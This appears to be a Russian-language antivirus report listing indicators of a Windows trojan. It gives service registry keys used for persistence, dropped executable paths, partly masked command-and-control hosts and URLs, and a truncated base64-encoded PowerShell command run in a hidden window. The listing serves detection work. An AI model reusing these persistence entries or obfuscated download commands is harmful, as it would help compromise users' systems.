Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons0414] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons0414] 'ImagePath' = '"%WINDIR%\SysWOW64\mfc110deu\NlsLexicons0414.exe"'
- 'NlsLexicons0414' "%WINDIR%\SysWOW64\mfc110deu\NlsLexicons0414.exe"
- 'NlsLexicons0414' %WINDIR%\SysWOW64\mfc110deu\NlsLexicons0414.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JAA1ADQAegAzADkAbQA9ACAAIABbAHQAWQBwAEUAXQAoACIAewAzAH0AewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBlAG0ALgBpAG8ALgBEAGkAcgBFACcALAAnAE8AcgBZACcALAAnAGMAVAAnACwAJwBTAFkAcwB0ACcAKQ...
- %HOMEPATH%\w0qjhfh\c2q5mmw\c9noxbk.exe
- %WINDIR%\syswow64\mfc110deu\nlslexicons0414.exe
- %HOMEPATH%\w0qjhfh\c2q5mmw\c9noxbk.exe в %WINDIR%\syswow64\mfc110deu\nlslexicons0414.exe
- '20#.#9.6.174':80
- http://mi######ndrewsbakery.com/wp-admin/M/
- http://20#.#9.6.174/eKobe7KXd/YjGiKD8IXoKjDl/Ck7vtF/R32uE2/7ya1l/eTI7/
- DNS ASK mi######ndrewsbakery.com
- '%HOMEPATH%\w0qjhfh\c2q5mmw\c9noxbk.exe'
- '%WINDIR%\syswow64\mfc110deu\nlslexicons0414.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JAA1ADQAegAzADkAbQA9ACAAIABbAHQAWQBwAEUAXQAoACIAewAzAH0AewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBlAG0ALgBpAG8ALgBEAGkAcgBFACcALAAnAE8AcgBZACcALAAnAGMAVAAnACwAJwBTAFkAcwB0ACcAKQ...' (со скрытым окном)